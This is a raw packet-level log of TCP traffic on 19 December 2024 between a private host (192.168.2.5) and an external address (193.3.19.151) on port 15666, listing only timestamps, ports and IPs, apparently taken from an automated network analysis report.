Dec 19, 2024 08:53:05.692280054 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.692293882 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.692348957 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.692433119 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.692446947 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.692486048 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.692492008 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.692533970 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.692620039 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.692632914 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.692667007 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.692682028 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.692761898 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.692775011 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.692819118 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.692872047 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.692907095 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.692945004 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.692960978 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.693036079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693048000 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693073988 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693078041 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.693092108 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.693120003 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.693147898 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693201065 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.693303108 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693317890 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693365097 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.693391085 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693416119 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693438053 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.693460941 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.693491936 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693506956 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693557024 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.693613052 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693722963 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693725109 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.693777084 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.693793058 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693805933 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693836927 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.693850994 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.693885088 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693908930 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693941116 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693953037 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.693968058 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.693969965 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.693988085 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.694029093 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.694072008 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.694083929 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.694123030 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.694150925 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.694164038 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.694200039 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.694216013 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.694231033 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.694273949 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.694294930 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.694309950 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.694319963 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.694358110 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.694962025 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.695076942 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.695092916 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.695122957 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.695154905 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.695202112 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.695252895 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.695267916 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.695298910 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.695310116 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.695357084 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.695358992 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.695416927 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.695449114 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.695462942 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.695499897 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.695518017 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.695542097 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.695554972 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.695593119 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.695684910 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.695698977 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.695743084 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.695794106 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.695806980 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.695847988 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.695878983 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.695934057 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.695959091 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696006060 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.696039915 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696080923 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.696084023 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696130037 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.696186066 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696198940 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696242094 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.696299076 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696312904 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696358919 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696365118 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.696394920 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696427107 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696445942 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.696465969 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696465969 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.696582079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696595907 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696619034 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.696633101 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.696671009 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696707964 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696716070 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.696757078 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.696834087 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696858883 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696880102 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.696903944 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.696918964 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.696963072 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.697614908 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.697662115 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.697681904 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.697717905 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.697772026 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.697793007 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.697907925 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.697921038 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.697940111 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.697985888 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698000908 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698008060 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.698040962 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.698051929 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.698157072 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698169947 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698203087 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.698287964 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698302031 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698348999 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.698378086 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698442936 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698494911 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.698523998 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698558092 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698607922 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.698651075 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698663950 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698708057 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.698721886 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.698790073 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698802948 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698836088 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.698846102 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.698853016 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698890924 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698896885 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.698945045 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.698961973 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.698975086 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.699018955 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.699033022 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.699045897 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.699088097 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.699106932 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.699131966 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.699150085 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.699177027 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.699178934 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.699233055 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.700565100 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.700614929 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.700670958 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.700686932 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.700737000 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.700884104 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.700900078 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.700927019 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.700942039 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701100111 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701116085 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701143980 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701144934 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701162100 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701164961 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701189041 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701229095 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701251030 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701267958 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701303959 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701306105 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701313019 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701347113 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701350927 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701391935 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701517105 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701534033 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701565027 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701586962 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701602936 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701618910 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701667070 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701679945 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701697111 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701742887 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701745033 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701773882 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701821089 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701877117 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701894045 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701915026 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701929092 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701940060 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701944113 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.701947927 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.701987028 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.703232050 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.703286886 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.703291893 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.703309059 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.703351021 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.703358889 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.703361988 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.703406096 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.703464031 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.703505039 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.703512907 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.703547001 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.703586102 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.703608990 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.703654051 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.703672886 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.703708887 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.703741074 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.703764915 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.703788042 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.703947067 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.703963041 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.703983068 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.704005003 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.704036951 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.704052925 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.704096079 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.704112053 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.704149008 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.704190016 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.704222918 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.704240084 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.794409990 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.794500113 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.794533014 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.794614077 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.794636965 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.794694901 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.794773102 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.794841051 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.794883966 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.794908047 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.794933081 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.794960022 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.794981003 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.795056105 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.795166016 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.795336962 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.795387983 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.795489073 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.795535088 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.795701027 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.795737028 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.795753002 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.795783997 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.795824051 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.795835972 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.795882940 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.795943022 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.796000004 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.796046972 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.796089888 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.796103001 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.796117067 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.796129942 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.796154976 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.796267986 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.796313047 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.796319962 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.796354055 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.796432972 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.796447039 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.796480894 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.796494961 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.796734095 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.796758890 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.796782970 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.796804905 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.796816111 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.796830893 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.796875000 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.796895027 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.796932936 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.796940088 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.796993017 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.797010899 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797056913 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.797070980 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797162056 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797174931 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797211885 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.797235966 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.797276974 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797290087 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797338963 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.797362089 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797408104 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.797420025 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797472000 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.797472954 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797487974 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797523022 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.797542095 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.797585964 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797610998 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797632933 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.797653913 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.797672033 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797709942 CET	15666	49709	193.3.19.151	192.168.2.5
Dec 19, 2024 08:53:05.797719002 CET	49709	15666	192.168.2.5	193.3.19.151
Dec 19, 2024 08:53:05.797763109 CET	49709	15666	192.168.2.5	193.3.19.151
